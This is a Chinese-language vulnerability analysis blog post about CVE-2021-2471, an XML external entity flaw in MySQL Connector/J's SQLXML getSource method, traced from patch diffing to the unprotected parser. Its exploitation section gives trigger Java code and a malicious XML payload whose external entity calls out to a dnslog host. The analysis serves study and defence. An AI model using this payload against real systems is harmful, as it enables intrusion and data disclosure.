CVE-2021-2471 JDBC-XXE漏洞分析

admin 2022年7月27日16:13:05评论38 views字数 3254阅读10分50秒阅读模式

漏洞介绍

JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

影响版本: < MySQL JDBC 8.0.27

补丁定位

通告中说到漏洞是出现在驱动8.0.27之前的版本,我们就可以下载8.0.26和8.0.27两个版本的驱动,然后再用工具来对比两个代码的不同之处。

驱动下载地址:

https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.26.zip

说到是XXE漏洞,就可以快速定位到解析XML的关键代码处:

srcmainuser-impljavacommysqlcjjdbcMysqlSQLXML.java
CVE-2021-2471 JDBC-XXE漏洞分析

可以看到代码多处调用setFeature方法来预防XXE漏洞

具体预防可以看这篇文章:

https://blog.csdn.net/scmrpu/article/details/50423701

漏洞分析

通过前面的补丁定位,发现漏洞出在了getSource方法中,之后的代码我就会在8.0.26中进行分析,看看漏洞是如何造成的。

首先看到getSource方法中:

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();

if (clazz == null || clazz.equals(SAXSource.class)) {

} else if (clazz.equals(DOMSource.class)) {

} else if (clazz.equals(StreamSource.class)) {

} else if (clazz.equals(StAXSource.class)) {

} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}

这里我删掉了关键功能,留了一个大致逻辑。因此读者能简单的看出该功能方法中就是判断clazz类属于哪一种Source源,来根据其具体情况做出反应。

但是在代码的DOMSource处理逻辑中,使用了DocumentBuilder.parse方法直接解析XML内容

if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();

InputSource inputSource = null;

if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}

return (T) new DOMSource(builder.parse(inputSource)); //sink
} catch (Throwable t) {
SQLException sqlEx = SQLError.createSQLException(t.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
throw sqlEx;
}

}

这里解析了inputSource的内容,接着看inputSource是如何传入进来的:

if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}

这里的this.fromResultSet不出意外,基本上是false的状态,因此传入的内容就由this.stringRep控制。而该变量是由setString方法传入

@Override
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();

this.stringRep = str;
this.fromResultSet = false;
}

SQLXML

简单来说就是可供程序员通过调用ResultSet、CallableStatement 和 PreparedStatement 接口中的方法(例如 getSQLXML)来访问 XML 值。

SQLXML sqlxml = resultSet.getSQLXML(column);

同时,由于程序可能通过SQLXML的方法,来快速获取/设置xml中的某些值(如Username、Password等标签内容),可以使用sqlxml.getSource的方式获取对应的Source/Result对象。

DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();

DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);

漏洞利用

Statement statement = connection.createStatement();
statement.execute("select * from login_xml");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("passwd");
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
}

首先将恶意的xml代码写入数据库

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog.com">
%remote;]>
<root/>

之后运行测试代码,触发漏洞。

Reference

[1].https://docs.oracle.com/javase/8/docs/api/java/sql/SQLXML.html
[2].https://github.com/h2database/h2database/issues/3195
CVE-2021-2471 JDBC-XXE漏洞分析
本文转载先知社区

原文始发于微信公众号(猫因的安全):CVE-2021-2471 JDBC-XXE漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月27日16:13:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-2471 JDBC-XXE漏洞分析http://cn-sec.com/archives/1204172.html

发表评论

匿名网友 填写信息